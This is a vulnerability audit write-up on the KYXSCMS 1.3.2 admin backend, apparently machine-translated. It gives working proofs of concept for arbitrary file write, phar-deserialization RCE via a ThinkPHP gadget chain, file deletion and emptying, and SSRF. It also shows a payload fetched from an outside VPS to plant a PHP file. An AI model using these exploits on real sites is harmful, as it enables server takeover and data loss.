KYXSCMS1.3.2 audit and test

KYXSCMS1.3.2 audit and test

In more than a week, we will be completely at the end of the term. There will be more than 20 days of miserable review time at the end of the term. Basically, it can only be regarded as an assault all the time, and it is not safe to learn. So recently I’m very upset when I learn Java, and I can’t keep up with the basics, so let’s take a look at CMS. After thinking about it, I just remembered that Y4 master would post some CMS audit articles from time to time, so I followed Y4 master's articles to learn. I chose this KYXSCMS的getshellto reproduce, but I didn’t expect to audit so many new things by myself after recurring.

Getshell for writing arbitrary files (reproduction)

Download the source code:

http://bbs.kyxscms.com/?t/1.html

I threw it to the local installation. At the beginning, I didn’t directly read the Y4 master’s article, but took a look at the CMS. Indeed, I took a cursory look at it for a while and didn’t find the getshell. I felt that this CMS was full of databases. For the operation of tp5.1.33, there is no SQL injection, and I feel that cnvd has already burst a lot of holes before, so basically there may be no holes to review.

Getshell is at the function point of template editing in the CMS background. I am also quite good. When I tested the function point before, I didn’t find the change button and I didn’t take a closer look. In fact, template editing is indeed a function point of CMS easy getshell. I also need to slowly accumulate audit experience, and be familiar with the easy getshell function of CMS, which will be very helpful to improve the efficiency of audit.

application/admin/controller/Template.phpThe editmethod where the vulnerable function is located :

    public function edit(){
        $Template=model('template');
        $data=$this->request->post();
        if($this->request->isPost()){
            $res = $Template->edit($data);

Post parameters, follow up the $Template->editfunction, is in application/admin/model/Template.php:

    public function edit($data){
        return File::put($data['path'],$data['content']);
    }

Continue to follow up on this static method put. In fact, you may feel that you can write arbitrarily when you see it here.

    static public function put($filename,$content,$type=''){
        $dir   =  dirname($filename);
        if(!is_dir($dir))
            mkdir($dir,0755,true);
        if(false === file_put_contents($filename,$content)){
            throw new \think\Exception('文件写入错误:'.$filename);
        }else{
            self::$contents[$filename]=$content;
            return true;
        }
    }

Equivalent to calling file_put_contents($filename,$content).

POC

http://www.kyxscms132.com/admin/template/edit

path=.feng.php&content=<?php phpinfo();?>
[External link image transfer failed. The source site may have an anti-hotlink mechanism. It is recommended to save the image and upload it directly (img-kmpVAwvZ-1622968456376)(D:\this_is_feng\github\CTF\Web\picture\pic9.png)]

Next, start to dig out the loopholes in this CMS yourself.

phar rce 1

In fact, I have been thinking about whether it is possible to use phar to deserialize since it is thinkphp5.1.33. But the file operation function was not found. The file writing here is actually impossible to phar, because the previous mkdir can't make it through:

[External link image transfer failed. The source site may have an anti-hotlinking mechanism. It is recommended to save the image and upload it directly (img-rhMC8yWy-1622968456378)(D:\this_is_feng\github\CTF\Web\picture\pic10.png)]

But the next day when I was still watching this cms, I suddenly thought of this again, and I tried it again with some unwillingness, mainly here:

        $dir   =  dirname($filename);
        if(!is_dir($dir))
            mkdir($dir,0755,true);
        if(false === file_put_contents($filename,$content)){

For example, I passpath=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png&content=1

, What I dirnamegot after was phar://./uploads/config/20210602/that I suddenly remembered that I can get around this, I'm really sooooooooooooooo good:

path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png/123&content=1

Just add another directory at the back:

[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-82knDanK-1622968456381)(D:\this_is_feng\github\CTF\Web\picture\pic15.png)]

Another phar deserialization.


phar rce 2

By coincidence, I glanced down:

        }else{
            $path=urldecode($this->request->param('path'));
            $info=$Template->file_info($path);
            $this->assign('path',$path);
            $this->assign('content',$info);
            $this->assign('meta_title','修改模版文件');
            return $this->fetch();
        }

editIf this method is not post or get, follow up the file_infofunction and enter:

    public function file_info($path){
        return File::read($path);
    }

Continue to follow up the readfunction:

    static public function read($filename,$type=''){
        return self::get($filename,'content',$type);
    }

Continue to follow up the getfunction:

    static public function get($filename,$name,$type=''){
        if(!isset(self::$contents[$filename])){
            if(!is_file($filename)) return false;
           self::$contents[$filename]=file_get_contents($filename);
        }
        $content=self::$contents[$filename];
        $info   =   array(
            'mtime'     =>  filemtime($filename),
            'content'   =>  $content
        );
        return $info[$name];
    }

Notes that the third line is_file($filename), $filenamethat is $_GET['path'], it is possible to achieve phar deserialization.

Find a thinkphp5.1.33 chain from the Internet and generate a phar:

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];

        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}

namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
}
?>

Then change the suffix to png, and then upload it in the background:

[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-3MntEhBb-1622968456384)(D:\this_is_feng\github\CTF\Web\picture\pic11.png)]

Then phar deserialization can be:

http://xxxx/admin/template/edit?path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png
[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-feqpLklb-1622968456386)(D:\this_is_feng\github\CTF\Web\picture\pic12.png)]

Arbitrary file deletion 1

This CMS audit is based on the controllable database content. This is because there is a function to execute SQL statements in the background.

When I conducted an audit on this basis, I discovered such an arbitrary file deletion. However, to be precise, a certain file cannot be deleted accurately, and the specified directory and its subdirectories will be deleted.

application/admin/controller/Template.phpThe delmethod where the vulnerability is located :

    public function del(){
        $id = array_unique((array)$this->request->param('id'));
        if ( empty($id) ) {
            $this->error('请选择要操作的数据!');
        }
        $Template=model('template');
        $res = $Template->del($id);
        if($res  !== false){
            $this->success('删除成功');
        } else {
            $this->error($Template->getError());
        }
    }

Because the database is controllable, the results found by id are controllable. Follow up $res = $Template->del($id);:

    public function del($id){
        $map = ['id' => $id];
        $name = Template::where($map)->column('name');
        foreach ($name as $value) {
            del_dir_file('./'.config('web.default_tpl').DIRECTORY_SEPARATOR.$value,true);
        }

Query the name column of the row corresponding to the id in the template table, and then use it as del_dir_filethe last part of the function's parameters.

This del_dir_fileis used to delete directories or files. Because the second parameter is true, only directories can be deleted. Therefore, through directory traversal, any folder can be deleted.

Try to attack. First create a directory 1232 under the web root directory.

Then execute SQL first:

POST /admin/tool/sqlexecute.html

sql=insert into {pre}template values('3','../../1232/','2','1','2','2','0','2','0')

Then attack, you can delete the folder:

http://xxxxxx/admin/template/del?id=3

Originally, I was about to hand this over to CNVD, but I took a look and found that an arbitrary file deletion had just been sent out, and it was too late to be preempted.

SSRF

I continued to search and found an SSRF. Actually, I felt that it was really useless. The cnvd was also rejected, and there are still many places like this in the background.

Vulnerable function in application/admin/controller/Market.phpthe templatefunction:

	public function template(){
        $url=config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page');
        $data = Http::doGet($url,300);
        $data=json_decode($data,true);
        $paginator = new Bootstrap($data['data'],$data['per_page'],$data['current_page'],$data['total'],false,['path'=>url()]);
        $this->assign('list', $data['data']);
        $this->assign('page',$paginator->render());
        $this->assign('meta_title','模版列表');
        return $this->fetch();
    }

$urlIt is the url to be requested, and then Http::doGet($url,300);a get request is made. However, this doGetrequirement $urlmust start with httpor https, so it is not possible to directly use protocols such as gopher for SSRF. But it doesn't matter, you can use the 302 jump to write a 302 jump service on your VPS to realize the 302 jump SSRF.

Let's see $urlif it is controllable. The entire url is this:

config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page')

The controllable is the front config('web.official_url')and the last $this->request->param('page'), because the config is obtained from the database ky_config, and there is any SQL statement execution in the background, so this configuration can be changed at will.

First change:

POST /admin/tool/sqlexecute.html

sql=update {pre}config set value  = 'http://118.31.168.198:39456' where id = 92

Then delete the cache file in the background:

[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-dsV3XYcu-1622968456387)(D:\this_is_feng\github\CTF\Web\picture\pic13.png)]

You can try to add a line of code to debug:

	public function template(){
        $url=config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page');
        echo $url;
        exit();

You can see the $urlcontrollable:

[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-V8I9fsxG-1622968456388)(D:\this_is_feng\github\CTF\Web\picture\pic14.png)]

Therefore, there is an SSRF vulnerability.

Any file empty

application/admin/controller/Tool.phpThe sitemap_progressmethod where the vulnerability is located .

    public function sitemap_progress($page=1){
    	$content='';
    	$page_num=$this->request->param('page_num');
        $page_no=$this->request->param('page_no');
        $type=$this->request->param('type');
        $filename='sitemap';
        $map = ['status'=>1];
        $novel=Db::name('novel')->field('id,update_time')->where($map)->order('update_time desc')->limit($page_num);
        if($page_no){
        	$filename.='_'.$page;
        	$data=$novel->page($page);
        	$count=Db::name('novel')->where($map)->count('id');
        	$page_count=ceil($count/$page_num);
        }else{
        	$page_count=1;
        }
        $data=$novel->select();
        foreach ($data as $k=>$v){
			if($type=='xml'){
				$content.='<url>'.PHP_EOL.'<loc>'.url("home/novel/index",["id"=>$v["id"]],true,true).'</loc>'.PHP_EOL.'<mobile:mobile type="pc,mobile" />'.PHP_EOL.'<priority>0.8</priority>'.PHP_EOL.'<lastmod>'.time_format($v["update_time"],'Y-m-d').'</lastmod>'.PHP_EOL.'<changefreq>daily</changefreq>'.PHP_EOL.'</url>';
	        }else{
	        	$content.=url("home/novel/index",["id"=>$v["id"]],true,true).PHP_EOL;
	        }
		}
        if($type=='xml'){
        	$xml='<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:mobile="http://www.baidu.com/schemas/sitemap-mobile/1/">'.PHP_EOL;
			$xml.=$content.PHP_EOL.'</urlset>';
			$content=$xml;
        }
        $url=$this->request->domain().'/runtime/'.'repaste/'.$filename.'.'.$type;
        $filename=Env::get('runtime_path').'repaste'.DIRECTORY_SEPARATOR.$filename.'.'.$type;
        $content=File::put($filename,$content);
        if($page_count<=$page){
            return $this->success('生成完成',url('sitemap_progress',['page_no'=>$page_no,'page'=>$page,'page_num'=>$page_num,'type'=>$type,]),['complete'=>true,'page_count'=>$page_count,'page'=>$page,'filename'=>$url]);
        }else{
            return $this->success('生成进度',url('sitemap_progress',['page_no'=>$page_no,'page'=>$page+1,'page_num'=>$page_num,'type'=>$type,]),['complete'=>false,'page_count'=>$page_count,'page'=>$page+1,'filename'=>$url]);
        }
    }

Focus only on these lines of code:

        $type=$this->request->param('type');
......
 $filename=Env::get('runtime_path').'repaste'.DIRECTORY_SEPARATOR.$filename.'.'.$type;
........
$content=File::put($filename,$content);

File::putThe method is very familiar, and the final result is this:

file_put_contents($filename,$content)

But the reason why I only pay attention to these few lines of code is that after auditing, I found that if you want to be filenamecontrollable, but $contentnot controllable, the only controllable is that the control $contentis empty.

$contentFrom the id value of 1 in the ky_noveltable status, you can use the function of executing the SQL file in the background to realize statusthe value that $contentis not 1, so it is empty.

This execution is equivalent to:

file_put_contents($filename,"");//可控的$filename

Therefore, there is a vulnerability of arbitrary file emptying. For $filename, the front part is uncontrollable, the last part is controllable, so you can clear any file through the directory.

Create a new feng.php in the web root directory:

<?php
$feng="feng";

Process the database:

POST /admin/tool/sqlexecute.html

sql= update {pre}novel set status = 0

Then clear:

http://xxxxxx/admin/tool/sitemap_progress

type=/../../../feng.php

You can successfully empty the file, and realize any file emptying.

New arbitrary file write

Still continue to look at the function codes under the admin module one by one. I thought that I should not get the shell, but I was lucky to find a new getshell and another point that can be written in any file. It is really cool. It feels that the quality of this shell is higher than that of Phar.

application/admin/controller/Upgrade.phpThe updatemethod where the vulnerability is located :

    public function update(){
        $Upgrade=model('upgrade');
        if(false !== $up_return=$Upgrade->updates()){
            return json(['code'=>1,'number'=>$up_return],200);
        }else{
            return json(['code'=>0,'error'=>$Upgrade->getError()],200);
        }
    }

Follow-up $Upgrade->updates()method:

    public function updates(){
        $num=Request::get('num',0);
        $upArray=$this->upContent();
        $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);
        if(!$upCode){
            $this->error="读取远程升级文件错误,请检测网络!";
            return false;
        }
        $dir = dirname($upArray[$num]['stored_file_name']);
        if(!is_dir($dir))
            mkdir($dir,0755,true);
         if(false === @file_put_contents($upArray[$num]['stored_file_name'],$upCode)){
            $this->error="保存文件错误,请检测文件夹写入权限!";
            return false;
         }
        return $num+1;
    }

Take a look first $this->upContent();:

    public function upContent($id=null,$type=null,$model='updata'){
        $content=Cache::get('update_list');
        if(!$content){
            $url = Config::get('web.official_url').'/upgrade/'.$model.'/'.$id;
            if($type){
                $url = $url.'/'.$type;
            }
            $content=Http::doGet($url,30,$this->oauth_access_token);
            $content=json_decode($content,true);
            Cache::set('update_list',$content);
        }
        return $content;
    }

First determine whether there is in the cache, and if not, request this $url. There must be none in the default cache.

The key point lies in $urlthe front Config::get('web.official_url'). This is obtained from the database, and there is a function to execute arbitrary SQL statements in the background. Therefore, this $urlis controllable by us and can be controlled as our own VPS.

Then get the request, get the data, and then json_decodeconvert it into a variable, so this variable is controllable.

From the upContentfunction, continue to look at the updatesfunction:

        $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);
        if(!$upCode){
            $this->error="读取远程升级文件错误,请检测网络!";
            return false;
        }
        $dir = dirname($upArray[$num]['stored_file_name']);
        if(!is_dir($dir))
            mkdir($dir,0755,true);
         if(false === @file_put_contents($upArray[$num]['stored_file_name'],$upCode)){
            $this->error="保存文件错误,请检测文件夹写入权限!";
            return false;
         }

The point of use is:

         if(false === @file_put_contents($upArray[$num]['stored_file_name'],$upCode)){

So it $upArrayis controllable by us, so the file name written is controllable. Take another look $upCode:

$upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']);

The content is also obtained from a controllable url, so the written file name and content are completely controllable, and there is a loophole in writing arbitrary files to implement getshell.

Specific attacks:

First, I execute the SQL statement to make it Config::get('web.official_url')controllable:

POST /admin/tool/sqlexecute.html

sql=update {pre}config set value  = 'http://118.31.168.198:39601' where id = 92

Then write on your VPS, I am here on port 39601:

mkdir upgrade
cd upgrade
mkdir updata
cd upgrade
echo '{"0":{"file_name":"1.txt","stored_file_name":".feng.php"}}' > index.php
cd ../
cd ../
echo "<?php phpinfo();?>" > 1.txt

Then visit:

http://xxxxxxxx/admin/upgrade/update

You can successfully write:

[External link image transfer failed. The source site may have an anti-hotlinking mechanism. It is recommended to save the image and upload it directly (img-0sa0OcAU-1622968456389)(D:\this_is_feng\github\CTF\Web\picture\pic16.png)]

phar rce3

Of course, phar can also be deserialized here, and the attack method is the same as before, not to mention it:

[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-wllGk7QO-1622968456391)(D:\this_is_feng\github\CTF\Web\picture\pic17.png)]

phar rce 4

application/admin/controller/Upgrade.phpThe installfunction where the vulnerability is located :

    public function install($model=null){
        $Upgrade=model('upgrade');
        if($model=='insert'){
            $return=$Upgrade->insert_install($this->request->param('id'));
        }else{
            $return=$Upgrade->install();
        }
        if($return==true){
            return $this->success('安装完成!','');
        }else{
            $this->error($Upgrade->getError(),'');
        }
    }

If it passes ?model=insert, it will proceed insert_install:

    //插件安装
    public function insert_install($id){
        $url = Config::get('web.official_url').'/upgrade/info/'.$id;
        $Content=Http::doGet($url,30,$this->oauth_access_token);
        $info=json_decode($Content,true);
        if(!empty($info['error'])){
            $this->error=$info['error'];
           return false;
        }
        $upArray=$this->upContent();
        if($this->install_file($upArray)==false){
            return false;
        }

The previous code has been debugged, don't worry, just look here:

        $upArray=$this->upContent();
        if($this->install_file($upArray)==false){
            return false;
        }

$upArrayIt is controllable. Then enter install_file:

    private function install_file($list_array){
        foreach ($list_array as $value) {
            if($value['suffix']==='del' || $value['suffix']==='sql'){
                $upCode=file_get_contents($value['stored_file_name']);

$value['stored_file_name']Controllable, so there is phar deserialization.

Changing the above one is actually almost the same:

mkdir upgrade
cd upgrade
mkdir updata
cd upgrade
echo '{"0":{"suffix":"del","stored_file_name":"phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png"}}' > index.php
cd ../
cd ../
echo "<?php phpinfo();?>" > 1.txt
[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-gSCg1umd-1622968456392)(D:\this_is_feng\github\CTF\Web\picture\pic18.png)]

phar rce 5

I felt that this CMS did not have a phar before, or I looked too carelessly. A really careful audit will reveal that there is a phar.

Then at the end of Phar rce 4, continue to look down:

    private function install_file($list_array){
        foreach ($list_array as $value) {
            if($value['suffix']==='del' || $value['suffix']==='sql'){
                $upCode=file_get_contents($value['stored_file_name']);
                $upCode = str_replace("\r", "\n", $upCode);
                $filePath=explode("\n",$upCode);
                foreach ($filePath as $v){
                    $v = trim($v);
                    if(empty($v)) continue;
                    if($value['suffix']==='del'){
                        @unlink($v);

Looking further down, I can find that there is another unlinkfunction below . The response of this function to me is: there is another phar rce and an arbitrary file deletion.

Take a closer look, it $upCodeis controllable by us, and then we will do some processing, enter the foreach, and then directly unlinkand very simply use it.

[email protected]:/var/www/html/upgrade/updata# echo '{"0":{"suffix":"del","stored_file_name":"http://118.31.168.198:39601/2.txt"}}' > index.php
[email protected]:/var/www/html/upgrade/updata# cd /var/www/html
[email protected]:/var/www/html# echo "phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png" > 2.txt
Insert picture description here

Arbitrary file deletion 2

There is nothing to say, just use phar rce 5 to delete any files. I won't write it specifically.

Arbitrary file deletion 3

Or this function:

    private function install_file($list_array){
        foreach ($list_array as $value) {
            if($value['suffix']==='del' || $value['suffix']==='sql'){
                $upCode=file_get_contents($value['stored_file_name']);
                $upCode = str_replace("\r", "\n", $upCode);
                $filePath=explode("\n",$upCode);
                foreach ($filePath as $v){
                    $v = trim($v);
                    if(empty($v)) continue;
                    if($value['suffix']==='del'){
                        @unlink($v);
                    }elseif ($value['suffix']==='sql') {
                        $prefix=Config::get('database.prefix');
                        $upSqlCode = str_replace("`ky_", "`{$prefix}", $v);
                        try{
                            Db::execute($upSqlCode);
                        }catch(\Exception $e){
                            $this->error='执行sql错误代码:'.$e->getMessage();
                            return false;
                        }
                    }
                }
                @unlink($value['stored_file_name']);
            }
        }
        return true;
    }

There is @unlink($value['stored_file_name']);nothing to say at the bottom . . . The security of this function is very poor.

And the same, into the elsesame existing problems above:

        if($model=='insert'){
            $return=$Upgrade->insert_install($this->request->param('id'));
        }else{
            $return=$Upgrade->install();
        }

phar rce 6

application/admin/controller/Upload.phpThe sublevel_uploadmethod where the vulnerability is located :

        if($this->request->isPost()){
            if($this->request->post('status') == 'chunkCheck'){
                return $this->chunkCheck();

Follow up $this->chunkCheck():

    protected function chunkCheck(){
        $upload_path = config('web.upload_path');
        $target =  $upload_path.$this->request->param('path').'/'.$this->request->post('name').'/'.$this->request->post('chunkIndex');
        if(file_exists($target) && filesize($target) == $_POST['size']){
            return json(['ifExist'=>1]);
        }
        return json(['ifExist'=>0]);
    }

Can be found file_exists($target), look at $targetthe composition:

$upload_path = config('web.upload_path');
$target =  $upload_path.$this->request->param('path').'/'.$this->request->post('name').'/'.$this->request->post('chunkIndex');

It's still the old posture, it $upload_pathis read from the cache or database, the cache is cleared in the background, and then you can control it with the SQL execution function. The subsequent splicing is also controllable, so it can be deserialized by phar.

attack:

Change it first upload_path:

POST /admin/tool/sqlexecute.html
    
sql=update {pre}config set value  = 'phar://' where id = 88

Then directly phar:

http://www.kyxscms132.com/admin/upload/sublevel_upload

status=chunkCheck&path=./uploads/config/&name=20210602&chunkIndex=20a9e2a63d2a1e5d42094af2ec61e42e.png
[External link image transfer failed. The source site may have an anti-hotlinking mechanism. It is recommended to save the image and upload it directly (img-0ko6Hjq7-1622968456394)(D:\this_is_feng\github\CTF\Web\picture\pic20.png)]

phar rce 7

application/admin/controller/Upload.phpThe sublevel_uploadmethod where the vulnerability is located :

    public function sublevel_upload(){
        if($this->request->isPost()){
            if($this->request->post('status') == 'chunkCheck'){
                return $this->chunkCheck();
            }elseif($this->request->post('status') == 'chunksMerge'){
                if($this->request->post('name')){
                    if($file = $this->chunksMerge($this->request->post('name'),$this->request->post('chunks'),$this->request->post('ext'),$this->request->post('md5'))){
                        $file['code']=1;
                        return json($file);
                    }
                }
                return json(['code'=>0]);

The previous phar was entered status == chunkCheck, this time it was entered chunksMerge:

    protected function chunksMerge($name, $chunks, $ext, $md5){
        $upload_path = config('web.upload_path');
        $targetDir = $upload_path.$this->request->param('path').'/'.$name;
        //检查对应文件夹中的分块文件数量是否和总数保持一致
        if($chunks >= 1 && (count(scandir($targetDir)) - 2) == $chunks){

See a scandirfunction that can be phardeserialized. See $targetDirif it is controllable. $upload_pathIt can come from the database and is controllable. The remaining part comes from post or get parameters, which are also controllable, so it can be deserialized by phar.

attack:

POST /admin/tool/sqlexecute.html
    
sql=update {pre}config set value  = 'phar://' where id = 88

Then clear the cache:

[External link image transfer failed. The source site may have an anti-hotlinking mechanism. It is recommended to save the image and upload it directly (img-DcaTFyQv-1622968456395)(D:\this_is_feng\github\CTF\Web\picture\pic13.png)]

Then Phar opened:

http://www.kyxscms132.com/admin/upload/sublevel_upload

status=chunksMerge&path=./uploads/config/&name=20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png&chunks=1
[External link image transfer failed. The source site may have an anti-leech link mechanism. It is recommended to save the image and upload it directly (img-tn2jC14m-1622968456396)(D:\this_is_feng\github\CTF\Web\picture\pic21.png)]

to sum up

So far, I have taken a look at the backend code of this CMS, and I have gained a lot. I think that basically I have dug up the phar, and there may be 1-2 remaining. I haven't found it. Otherwise, there may be a few arbitrary files deleted, maybe I didn't look down when I couldn't control the phar. One thing to say, phar is indeed yyds, but this CMS can have so many phars. The main reason is that the backend gives a function to execute SQL statements. I think if this function is deleted, the security of the backend will directly increase by more than 80%. .

Moreover, it is more to look for functions to check for vulnerabilities. Some functions can only be used without developing nt, and some functions may be used when they are developed and written normally. So I think auditing is mainly based on functions, and of course the vision is also It's normal.

Come on at the end of the term, the CMS audit should come to an end, and the summer vacation will start again.

Thank you Y4 Master for your guidance.